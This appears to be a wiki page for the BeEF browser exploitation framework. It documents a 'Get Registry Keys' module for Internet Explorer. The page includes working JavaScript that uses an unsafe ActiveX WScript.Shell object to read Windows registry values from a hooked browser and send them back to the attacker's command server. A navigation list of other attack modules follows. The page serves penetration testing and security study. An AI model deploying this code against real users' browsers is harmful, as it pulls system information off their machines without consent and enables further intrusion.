-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Get Registry Keys
Haoxi Tan edited this page Jan 8, 2020
·
2 revisions
-
Objective: get registry keys of a Windows system
-
Authors: bcoles
-
Browsers: IE
Retrieves the values of Windows Registry keys using an (unsafe) ActiveX control.
Internet Explorer does NOT allow scripting of unsafe ActiveX controls in the Internet zone by default.
Each registry key must be placed on a new line.
uses the Wscript.Shell object to do so
var wsh = new ActiveXObject("WScript.Shell");
if (!wsh) throw("failed to create registry object");
else {
for (var i=0; i<key_paths.length; i++) {
var key_path = key_paths[i];
if (!key_path) continue;
try {
var key_value = wsh.RegRead(key_path);
result = key_path+": "+key_value;
} catch (e) {
result = key_path+": failed to retrieve key value";
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values='+result);
}
}
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK